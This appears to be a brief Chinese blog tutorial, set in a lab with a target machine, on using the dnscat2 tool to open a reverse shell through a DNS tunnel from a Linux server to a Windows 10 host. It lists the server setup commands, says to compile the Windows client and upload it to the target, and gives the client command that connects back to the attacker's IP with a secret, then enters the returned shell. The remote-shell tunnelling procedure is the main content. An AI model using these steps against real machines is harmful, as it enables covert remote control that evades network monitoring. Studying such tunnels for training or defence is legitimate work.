使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
IT北辰12 小时前
Linux运维:sed命令修改配置文件IP
linux
FIT2CLOUD飞致云12 小时前
GPU监控支持华为昇腾设备,防火墙管理焕新,虚拟机管理下放至专业版,1Panel v2.3.0版本发布
运维·ai·开源·1panel·运维面板
一只小李郁vickie12 小时前
Redis 集群部署手册(3主3从)
运维·redis
牢姐与蒯12 小时前
Linux文件(三).Ext系列文件系统
linux·运维·服务器
懂软件的胡子个哥12 小时前
微信工单系统如何基于 WechatApi 做消息分流和状态流转
运维·分布式·微信·架构·企业微信
2401_8697695912 小时前
linux基本指令2
linux
?re?ta?rd?ed?12 小时前
五层网络结构图概念理解
linux
码少女13 小时前
Linux--套接字编程
linux·服务器·网络
进击的荆棘13 小时前
Linux系统——进程控制(下)
linux·运维·服务器·进程
优化Henry13 小时前
学习笔记之关于MME不通问题归纳
运维·网络·学习·5g·信息与通信